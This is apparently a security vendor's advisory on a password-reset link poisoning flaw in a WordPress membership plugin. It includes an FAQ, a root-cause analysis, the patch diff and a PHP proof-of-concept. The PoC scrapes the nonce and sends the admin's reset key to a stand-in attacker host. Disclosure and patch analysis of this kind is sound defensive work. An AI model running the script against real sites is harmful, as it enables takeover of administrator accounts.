What is CVE-2026-9273?

CVE-2026-9273 is a critical vulnerability in the Kadence Memberships plugin (formerly Restrict Content) for WordPress, affecting versions up to and including 4.0.0. It allows unauthenticated attackers to poison password reset links, potentially leading to full account takeover, including administrator accounts. The vulnerability has a CVSS score of 9.3 and is classified under CWE-640 (Weak Password Recovery Mechanism for Forgotten Password).

How does the password reset link poisoning work?

The vulnerability stems from the insecure handling of the ‘rc_redirect’ POST parameter in the legacy lost-password handler. When a user requests a password reset, the plugin uses this parameter to construct the redirect URL and the reset link sent via email. An attacker can set this parameter to an external domain, causing the reset email to contain a link that points to the attacker’s server while still carrying the valid reset key. If the victim clicks the link, the key is leaked to the attacker, who can then use it to reset the victim’s password and take over the account.

Who is affected by this vulnerability?

Any WordPress site running the Kadence Memberships plugin version 4.0.0 or earlier is affected. This includes sites that have the legacy Restrict Content functionality enabled. Both free and premium versions of the plugin are vulnerable if they are within the affected version range. Site administrators should check their plugin version and update to 4.0.1 or later immediately.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, navigate to the WordPress admin dashboard, go to Plugins, and check the version of Kadence Memberships. If the version is 4.0.0 or lower, your site is at risk. Additionally, you can review the plugin’s changelog or compare the version against the patched 4.0.1 release. It is also advisable to check if the legacy lost-password functionality is active, as it is required for exploitation.

What is the practical risk of this vulnerability?

The practical risk is severe because an attacker can gain complete control of any user account, including administrators, without requiring any authentication. Once an administrator account is compromised, the attacker can install malicious plugins, modify site content, access sensitive data, and potentially escalate to a full site takeover or server compromise. The high CVSS score reflects the ease of exploitation and the critical impact on confidentiality, integrity, and availability.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC script automates the attack by first fetching the lost password form to obtain a valid nonce, which is publicly available to any visitor. It then crafts a password reset request for a target username, setting the ‘rc_redirect’ parameter to an attacker-controlled URL. When the victim receives the reset email and clicks the link, the reset key is sent to the attacker’s server. The attacker can then use that key to reset the victim’s password and log in, demonstrating full account takeover.

What is the root cause of this vulnerability?

The root cause is the lack of validation and sanitization of the ‘rc_redirect’ POST parameter in the legacy/includes/forms.php file. The parameter is used in two critical functions: wp_redirect() and add_query_arg(), without restricting the destination to the site’s own domain. This allows an attacker to inject an external URL into the password reset email, leading to the leakage of the reset key.

How is the vulnerability patched in version 4.0.1?

The patch introduces the use of wp_validate_redirect() to sanitize the ‘rc_redirect’ parameter, ensuring that only URLs within the site’s own domain are accepted. It also replaces wp_redirect() with wp_safe_redirect(), which blocks redirects to external hosts. Additionally, the patch adds proper sanitization using sanitize_url() and wp_unslash(). These changes prevent the reset email from containing an attacker-controlled host with the reset key.

What should I do if I cannot update the plugin immediately?

If you cannot update to version 4.0.1 right away, you should disable the legacy lost-password functionality if possible, or restrict access to the password reset form. You can also use a Web Application Firewall (WAF) to block requests that contain suspicious ‘rc_redirect’ parameters. However, these are temporary measures, and updating the plugin is the only definitive fix.

Can this vulnerability be exploited without user interaction?

No, exploitation requires the victim to click the malicious link in the password reset email. The attacker must trick the victim into clicking the link, for example through social engineering. However, the attacker can craft the email to appear legitimate, and the victim may not notice the external domain in the link. Once clicked, the attack is fully automated and does not require further interaction.

Are there any indicators of compromise (IOCs) to look for?

Possible indicators include unexpected password reset emails for users, especially those with links pointing to external domains. Administrators should also monitor user accounts for unauthorized password changes or logins from unfamiliar IP addresses. Reviewing server logs for requests to the lost password form with unusual ‘rc_redirect’ values may also reveal attack attempts.

What is the CVSS score and what does it mean?

The CVSS score is 9.3, which is classified as Critical. This indicates that the vulnerability has a high impact on confidentiality, integrity, and availability, and is relatively easy to exploit. In practical terms, it means that an attacker with minimal skills can potentially take over any account on the affected site, making it a top priority for patching.

Published : August 5, 2026

CVE-2026-9273: Membership Plugin – Kadence Memberships <= 4.0.0 Unauthenticated Password Reset Link Poisoning to Account Takeover PoC, Patch Analysis & Rule

CVE ID CVE-2026-9273

Plugin restrict-content

Severity Critical (CVSS 9.3)

CWE 640

Vulnerable Version 4.0.0

Patched Version 4.0.1

Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9273:
This vulnerability allows unauthenticated attackers to poison password reset links in the Kadence Memberships plugin (version 4.0.0 and earlier), leading to account takeover. The flaw resides in the legacy lost-password handler and affects the plugin’s public-facing password reset functionality. The high CVSS score of 9.3 reflects the critical impact and ease of exploitation.

Root Cause: The core issue is the unsanitized use of the user-supplied `rc_redirect` POST parameter in `legacy/includes/forms.php`. In the vulnerable `rc_process_lost_password_form()` function, the parameter is passed directly to `wp_redirect( esc_url( $_POST[‘rc_redirect’] ) . … )` at line 243 and to `add_query_arg( array( ‘key’ => $key, ‘login’ => … ), $_POST[‘rc_redirect’] )` inside `rc_send_password_reset_email()` at line 306. This lack of validation allows an attacker to control the destination URL for both the post-submit redirect and the personalized password reset link sent to the victim.

Exploitation: An attacker exploits this by first submitting the public password reset form with a chosen `rc_redirect` value, targeting a victim’s username. The nonce required for this request is publicly embedded in the `[login_form]` shortcode HTML source, providing it to any anonymous visitor. The victim then receives a reset email containing a link that points to the attacker’s domain, but includes the legitimate reset `key` and `login` parameters in the URL. When the victim clicks this poisoned link, the valid key is sent to the attacker’s server, who can then replay it against the legitimate site to reset the victim’s password and log in.

Patch Analysis: The patch replaces the direct use of the `$_POST[‘rc_redirect’]` parameter with a two-step sanitization process. It now uses `wp_validate_redirect()` to restrict redirect destinations to the site’s own domain, falling back to `home_url()` if the provided value is invalid or an external host. The validated URL is then used with `wp_safe_redirect()` for HTTP redirects, which blocks attempts to redirect to external, non-whitelisted hosts. This change prevents the email body from containing an attacker-controlled host with the sensitive reset key.

Impact: Successful exploitation results in a full account takeover. An attacker can assume the identity of any user, including site administrators, by tricking them into clicking a malicious link. This grants the attacker complete control over the affected WordPress account, enabling them to modify site content, install plugins, access private data, and potentially pivot to a full site compromise or server-level access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/restrict-content/legacy/includes/forms.php
+++ b/restrict-content/legacy/includes/forms.php
@@ -239,8 +239,8 @@
 	$errors = rc_send_password_reset_email();

 	if ( ! is_wp_error( $errors ) ) {
-		$redirect_to = esc_url( $_POST['rc_redirect'] ) . '?rc_action=lostpassword_checkemail';
-		wp_redirect( $redirect_to );
+		$redirect_base = wp_validate_redirect( isset( $_POST['rc_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rc_redirect'] ) ) : '', home_url() ); // phpcs:ignore WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		wp_safe_redirect( add_query_arg( 'rc_action', 'lostpassword_checkemail', $redirect_base ) );
 		exit();
 	}
 }
@@ -303,7 +303,17 @@
 	$message .= sprintf( __( 'Username: %s', 'restrict-content' ), $user_login ) . "rnrn";
 	$message .= __( 'If this was a mistake, just ignore this email and nothing will happen.', 'restrict-content' ) . "rnrn";
 	$message .= __( 'To reset your password, visit the following address:', 'restrict-content' ) . "rnrn";
-	$message .= esc_url_raw( add_query_arg( array( 'rc_action' => 'lostpassword_reset', 'key' => $key, 'login' => rawurlencode( $user_login ) ), $_POST['rc_redirect'] ) ) . "rn";
+	$redirect_base = wp_validate_redirect( isset( $_POST['rc_redirect'] ) ? sanitize_url( wp_unslash( $_POST['rc_redirect'] ) ) : '', home_url() ); // phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.WP.DeprecatedFunctions.sanitize_urlFound, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+	$message .= esc_url_raw(
+		add_query_arg(
+			array(
+				'rc_action' => 'lostpassword_reset',
+				'key'       => $key,
+				'login'     => rawurlencode( $user_login ),
+			),
+			$redirect_base
+		)
+	) . "rn";

 	if ( is_multisite() ) {

--- a/restrict-content/legacy/restrictcontent.php
+++ b/restrict-content/legacy/restrictcontent.php
@@ -21,7 +21,7 @@
 }

 if ( ! defined( 'RC_PLUGIN_VERSION' ) ) {
-	define( 'RC_PLUGIN_VERSION', '4.0.0' );
+	define( 'RC_PLUGIN_VERSION', '4.0.1');
 }

 if ( ! defined( 'RC_PLUGIN_DIR' ) ) {
--- a/restrict-content/restrictcontent.php
+++ b/restrict-content/restrictcontent.php
@@ -3,7 +3,7 @@
  * Plugin Name: Kadence Memberships
  * Plugin URI: https://restrictcontentpro.com
  * Description: Set up a complete membership system for your WordPress site and deliver premium content to your members. Unlimited membership packages, membership management, discount codes, registration / login forms, and more.
- * Version: 4.0.0
+ * Version: 4.0.1
  * Author: Kadence
  * Author URI: https://www.kadencewp.com/
  * Requires at least: 6.0
@@ -18,7 +18,7 @@
 define('RCP_PLUGIN_FILE', __FILE__);
 define('RCP_ROOT', plugin_dir_path(__FILE__));
 define('RCP_WEB_ROOT', plugin_dir_url(__FILE__));
-define('RCF_VERSION', '4.0.0');
+define('RCF_VERSION', '4.0.1');

 // Load Strauss autoload.
 require_once plugin_dir_path( __FILE__ ) . 'vendor/strauss/autoload.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-9273 - Membership Plugin – Kadence Memberships <= 4.0.0 - Unauthenticated Password Reset Link Poisoning to Account Takeover

$target_url = 'http://target-site.com'; // Change this to the vulnerable WordPress site
$attacker_log_url = 'http://attacker-server.com/log.php'; // Change this to a URL that captures the leaked reset key

// Step 1: Fetch the login form page to obtain a valid nonce.
$ch = curl_init($target_url . '/wp-login.php?action=lostpassword');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Parse the nonce from the response. Look for the hidden input field named 'rc_lost_password_nonce'.
preg_match('/name="rc_lost_password_nonce" value="([a-f0-9]+)"/', $response, $matches);
if (empty($matches[1])) {
    die('Failed to obtain nonce. Check if the plugin is active and the form is rendered.');
}
$nonce = $matches[1];
echo "[+] Retrieved nonce: $noncen";

// Step 2: Craft the malicious POST request to the plugin's form handler.
$post_data = [
    'rc_action' => 'lostpassword',
    'user_login' => 'admin', // Target the administrator account.
    'rc_redirect' => $attacker_log_url . '?rc_action=lostpassword_reset&key=',
    'rc_lost_password_nonce' => $nonce,
    '_wp_http_referer' => '/wp-login.php?action=lostpassword'
];

$ch = curl_init($target_url . '/wp-login.php?action=lostpassword');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_exec($ch);
curl_close($ch);

echo "[+] Password reset request sent. The victim will receive an email with a link to: $attacker_log_url . '?key=VALID_KEY&login=admin'n";
echo "[+] Once the victim clicks the link, the attacker's server will capture the key.n";
echo "[+] Replay the captured key against the target site to complete the takeover.n";

?>

Frequently Asked Questions

What is CVE-2026-9273?
Vulnerability overview
CVE-2026-9273 is a critical vulnerability in the Kadence Memberships plugin (formerly Restrict Content) for WordPress, affecting versions up to and including 4.0.0. It allows unauthenticated attackers to poison password reset links, potentially leading to full account takeover, including administrator accounts. The vulnerability has a CVSS score of 9.3 and is classified under CWE-640 (Weak Password Recovery Mechanism for Forgotten Password).
How does the password reset link poisoning work?
Technical explanation
The vulnerability stems from the insecure handling of the ‘rc_redirect’ POST parameter in the legacy lost-password handler. When a user requests a password reset, the plugin uses this parameter to construct the redirect URL and the reset link sent via email. An attacker can set this parameter to an external domain, causing the reset email to contain a link that points to the attacker’s server while still carrying the valid reset key. If the victim clicks the link, the key is leaked to the attacker, who can then use it to reset the victim’s password and take over the account.
Who is affected by this vulnerability?
Affected versions and users
Any WordPress site running the Kadence Memberships plugin version 4.0.0 or earlier is affected. This includes sites that have the legacy Restrict Content functionality enabled. Both free and premium versions of the plugin are vulnerable if they are within the affected version range. Site administrators should check their plugin version and update to 4.0.1 or later immediately.
How can I check if my site is vulnerable?
Detection steps
To determine if your site is vulnerable, navigate to the WordPress admin dashboard, go to Plugins, and check the version of Kadence Memberships. If the version is 4.0.0 or lower, your site is at risk. Additionally, you can review the plugin’s changelog or compare the version against the patched 4.0.1 release. It is also advisable to check if the legacy lost-password functionality is active, as it is required for exploitation.
What is the practical risk of this vulnerability?
Impact assessment
The practical risk is severe because an attacker can gain complete control of any user account, including administrators, without requiring any authentication. Once an administrator account is compromised, the attacker can install malicious plugins, modify site content, access sensitive data, and potentially escalate to a full site takeover or server compromise. The high CVSS score reflects the ease of exploitation and the critical impact on confidentiality, integrity, and availability.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC script automates the attack by first fetching the lost password form to obtain a valid nonce, which is publicly available to any visitor. It then crafts a password reset request for a target username, setting the ‘rc_redirect’ parameter to an attacker-controlled URL. When the victim receives the reset email and clicks the link, the reset key is sent to the attacker’s server. The attacker can then use that key to reset the victim’s password and log in, demonstrating full account takeover.
What is the root cause of this vulnerability?
Underlying issue
The root cause is the lack of validation and sanitization of the ‘rc_redirect’ POST parameter in the legacy/includes/forms.php file. The parameter is used in two critical functions: wp_redirect() and add_query_arg(), without restricting the destination to the site’s own domain. This allows an attacker to inject an external URL into the password reset email, leading to the leakage of the reset key.
How is the vulnerability patched in version 4.0.1?
Patch details
The patch introduces the use of wp_validate_redirect() to sanitize the ‘rc_redirect’ parameter, ensuring that only URLs within the site’s own domain are accepted. It also replaces wp_redirect() with wp_safe_redirect(), which blocks redirects to external hosts. Additionally, the patch adds proper sanitization using sanitize_url() and wp_unslash(). These changes prevent the reset email from containing an attacker-controlled host with the reset key.
What should I do if I cannot update the plugin immediately?
Temporary mitigation
If you cannot update to version 4.0.1 right away, you should disable the legacy lost-password functionality if possible, or restrict access to the password reset form. You can also use a Web Application Firewall (WAF) to block requests that contain suspicious ‘rc_redirect’ parameters. However, these are temporary measures, and updating the plugin is the only definitive fix.
Can this vulnerability be exploited without user interaction?
Exploitation requirements
No, exploitation requires the victim to click the malicious link in the password reset email. The attacker must trick the victim into clicking the link, for example through social engineering. However, the attacker can craft the email to appear legitimate, and the victim may not notice the external domain in the link. Once clicked, the attack is fully automated and does not require further interaction.
Are there any indicators of compromise (IOCs) to look for?
Detection of attacks
Possible indicators include unexpected password reset emails for users, especially those with links pointing to external domains. Administrators should also monitor user accounts for unauthorized password changes or logins from unfamiliar IP addresses. Reviewing server logs for requests to the lost password form with unusual ‘rc_redirect’ values may also reveal attack attempts.
What is the CVSS score and what does it mean?
Severity interpretation
The CVSS score is 9.3, which is classified as Critical. This indicates that the vulnerability has a high impact on confidentiality, integrity, and availability, and is relatively easy to exploit. In practical terms, it means that an attacker with minimal skills can potentially take over any account on the affected site, making it a top priority for patching.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started